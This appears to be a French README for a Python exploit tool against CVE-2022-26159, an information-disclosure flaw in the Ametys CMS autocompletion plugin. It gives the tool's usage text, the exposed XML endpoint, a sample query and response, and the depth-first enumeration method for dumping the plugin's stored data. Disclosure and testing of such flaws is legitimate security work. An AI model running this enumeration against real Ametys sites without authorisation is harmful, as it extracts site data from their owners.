
Un exploit Python pour extraire automatiquement toutes les données stockées par le plugin d'auto-complétion d'Ametys CMS vers un fichier de base de données sqlite local.
Un exploit Python pour extraire automatiquement toutes les données stockées par le plugin d'autocomplétion d'Ametys CMS dans un fichier de base de données sqlite local.

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
Le plugin d'autocomplétion d'Ametys CMS <= 4.4.9 expose publiquement un fichier XML contenant une liste de mots à l'adresse suivante :
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
Pour effectuer une requête sur cette base de données, un attaquant a simplement besoin de saisir le début du mot dans le paramètre q (query) :
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
Et le plugin d'autocomplétion renvoie les 10 premiers mots correspondant commençant par adm (issus de la requête) dans un fichier XML :
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
Avec cela, un attaquant n'a qu'à effectuer une recherche en profondeur sur l'API pour en extraire tout le contenu.
Les pull requests sont les bienvenues. N'hésitez pas à ouvrir une issue si vous souhaitez ajouter d'autres fonctionnalités.